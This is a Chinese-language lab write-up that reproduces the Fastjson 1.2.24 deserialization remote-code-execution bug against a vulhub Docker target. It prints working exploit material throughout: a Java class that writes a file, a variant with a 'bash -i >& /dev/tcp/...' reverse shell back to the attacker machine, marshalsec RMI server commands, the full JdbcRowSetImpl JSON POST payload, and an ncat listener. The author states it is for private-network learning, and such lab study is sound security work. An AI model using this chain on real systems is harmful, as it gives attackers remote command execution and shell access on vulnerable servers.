Fastjson1.2.24漏洞复现-基于vulhub漏洞平台（文件上传写入-反弹shell）

Fastjson1.2.24漏洞复现-基于vulhub漏洞平台

环境准备：

192.168.59.130 攻击机 window10

192.168.59.135 靶机 centos8

声明：不涉及互联网上的资源，学习都在内网完成，一切皆用于学习记录，不可用于其他用途

环境准备：（自行baidu安装）可能环境准备比较折磨，问题会不断，慢慢来，有点耐心就行。

两台设备都安装1.8.0的jdk，python

window10：maven、marshalsec（反序列化环境）

centos8：安装docker 搭建vulhub靶场环境，要装docker-compose组件才能启动vulhub环境

我踩过的坑都在环境搭建，yum源用ali的吧，从本地到centos8的文件互传（xshell7），可以安装lszrz（应该是，忘了，可以查一下），尽可能用自己熟悉的Linux吧。

看了比较多文章，写的都挺好的。

明确一下复现原理：

被攻击者所在网站解析json时，没有对json的内容进行验证，就对json进行解析成java对象，然后去执行。攻击者可以构造对应的payload执行代码，去使被攻击者执行，达到代码执行或命令执行的目的，从而实现对被攻击者的安全测试。

1.文件上传

话不多说，开干！！！！

目前所有准备就绪

centos8目录结构：

[root@192 ~]# ll

total 198796

-rw-------. 1 root root 1177 Nov 16 2021 anaconda-ks.cfg

-rw-r--r--. 1 root root 194042837 Jul 27 06:33 jdk-8u202-linux-x64.tar.gz

drwxr-xr-x. 5 root root 134 Jul 27 22:29 marshalsec

drwxr-xr-x. 120 root root 4096 Jul 27 06:18 vulhub

cd vulhub/fastjson/1.2.24-rce/ 进入vulhub的fastjson1.2.24这个目录

docker-compose up -d 启动漏洞环境

测试：

访问：http：//IP:8090

我在攻击机的E盘下新建了一个名为java的文件夹，然后新建一个TouchFile.java文件，写入以下代码：



// javac TouchFile.java

import java.lang.Runtime;

import java.lang.Process;

public class TouchFile {

    static {

        try {

            Runtime rt = Runtime.getRuntime();

            String[] commands = {"touch", "/tmp/success111111111"};

            Process pc = rt.exec(commands);

            pc.waitFor();

        } catch (Exception e) {

            // do nothing

        }

    }

}

在java路径下然后调出cmd命令行，直接回车，执行javac TouchFile.java，编译：

在Java的目录下的命令行中执行(要安装python，具体配置去baidu搜索)：

python2 python -m SimpleHTTPServer 4444

python3 python3 -m http.server 4444

找到并进入marshalsec目录，直接cmd，启动RMI服务，监听9999端口并加载远程类TouchFile.class：

mvn clean package -DskipTests //有success，就成功了

然后会在marshalsec目录生成一个target目录，切换进去发现生成了marshalsec-0.0.3-SNAPSHOT-all.jar：

cd target

开启rmi服务：这里的IP地址写攻击机开启http服务的地址

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.59.130:4444/#TouchFile" 9999

打开burp suite抓包，然后刷新http://192.168.59.135:8090，开始转圈圈：

来到burp suite：

修改payload，把请求体中的GET改成POST：

主要payload是红色框框住的那块

Content-Type:application/json //表明这个是json代码

Content-Length:164

下面有

这是我构造的payload，我看了网上很多，放进去都不行,触发不了漏洞：

POST / HTTP/1.1

Host: 192.168.59.135:8090

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3;en

Accept-Encoding: gzip, deflate

DNT: 1

Connection: close

Upgrade-Insecure-Requests: 1

Cache-Control: max-age=0

Content-Type: application/json

Content-Length: 164

{

    "b":{

        "@type":"com.sun.rowset.JdbcRowSetImpl",

        "dataSourceName":"rmi://192.168.59.130:9999/TouchFile",

        "autoCommit":true

    }

}

效果：

查看rmi

查看docker容器

docker ps

docker exec -it 容器id /bin/bash

！！！！成功写入创建文件

2.反弹shell

其实配置差不多

目前所有准备就绪

centos8目录结构：

cd vulhub/fastjson/1.2.24-rce/ 进入vulhub的fastjson1.2.24这个目录

docker-compose up -d 启动漏洞环境

测试：

访问：http：//IP:8090

我在攻击机的E盘下新建了一个名为java的文件夹，然后新建一个TouchFile.java文件，写入以下代码：

// javac TouchFile.java

import java.lang.Runtime;

import java.lang.Process;

public class TouchFile {

    static {

        try {

            Runtime rt = Runtime.getRuntime();

            String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/192.168.59.130/2333 0>&1"};

            Process pc = rt.exec(commands);

            pc.waitFor();

        } catch (Exception e) {

            // do nothing

        }

    }

}

在java路径下然后调出cmd命令行，直接回车，执行javac TouchFile.java，编译：

在Java的目录下的命令行中执行(要安装python，具体配置去baidu搜索)：

python2 python -m SimpleHTTPServer 4444

python3 python3 -m http.server 4444

找到并进入marshalsec目录，直接cmd，启动RMI服务，监听9999端口并加载远程类TouchFile.class：

mvn clean package -DskipTests //有success，就成功了

然后会在marshalsec目录生成一个target目录，切换进去发现生成了marshalsec-0.0.3-SNAPSHOT-all.jar：

cd target

开启rmi服务：这里的IP地址写攻击机开启http服务的地址

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.59.130:4444/#TouchFile" 9999

不同点来了（安装ncat，或者nmap，可以自行baidu，很简单，无脑下一步就行）

监听2333端口

centos8的命令：nc -lvp 2333

由于我用的是window10（我安装的nmap）需要找到ncat.exe所在目录，否则无法运行nc：ncat.exe -lvp 2333

打开burp suite抓包，然后刷新http://192.168.59.135:8090

修改payload，把请求体中的GET改成POST

主要payload是红色框框住的那块

Content-Type:application/json //表明这个是json代码

Content-Length:164

下面有

依旧用这个payload，构造完点GO：

POST / HTTP/1.1

Host: 192.168.59.135:8090

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3;en

Accept-Encoding: gzip, deflate

DNT: 1

Connection: close

Upgrade-Insecure-Requests: 1

Cache-Control: max-age=0

Content-Type: application/json

Content-Length: 164

{

    "b":{

        "@type":"com.sun.rowset.JdbcRowSetImpl",

        "dataSourceName":"rmi://192.168.59.130:9999/TouchFile",

        "autoCommit":true

    }

}

看效果：

这个成功反弹shell，拿下！！！！！！！！

完活！结束了fastjson1.2.24漏洞复现

整一个流程下来，其实脉络很清晰了，就是通过构造payload去让被攻击机触发攻击机设计好的代码，大半天操作就想说这句话。

结束了

注：未经同意请勿转载，仅作学习使用。以上有描述不正确之处，望大家能不吝指出，共同学习共同进步。谢谢